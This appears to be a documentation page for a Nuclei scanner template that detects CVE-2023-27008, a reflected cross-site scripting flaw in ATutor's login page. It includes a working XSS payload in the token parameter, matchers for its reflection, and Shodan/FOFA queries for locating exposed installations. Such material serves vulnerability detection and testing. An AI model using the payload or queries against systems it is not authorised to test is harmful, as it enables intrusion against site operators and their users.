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ATutor < 2.2.1 - Cross Site Scripting

ID: CVE-2023-27008

Severity: medium

Author: r3Y3r53

Tags: cve,cve2023,xss,atutor

Description

Section titled “Description”

ATutor < 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2023-27008


info:
  name: ATutor < 2.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    ATutor < 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade ATutor to version 2.2.2 or above to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27008
    - https://plantplants213607121.wordpress.com/2023/02/16/atutor-2-2-1-cross-site-scripting-via-the-token-body-parameter/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-27008
    cwe-id: CWE-79
    epss-score: 0.00133
    epss-percentile: 0.48375
    cpe: cpe:2.3:a:atutor:atutor:2.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atutor
    product: atutor
    shodan-query:
      - http.html:"Atutor"
      - http.html:"atutor"
    fofa-query: body="atutor"
  tags: cve,cve2023,xss,atutor


http:
  - raw:
      - |
        POST /atutor/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        token=asdf");}alert(document.domain);+function+asdf()+{//


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ");}alert(document.domain); function"
          - "ATutor"
          - "Login"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a00463044022037320434ed4ede14d7c4874bf293acd5843d032db889ae8e92b2e865ec44bfe40220788a2d94a1d348cffba75fe853dd5f251e52c8bd9f70eee761cda4722129a8ee:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27008.yaml"

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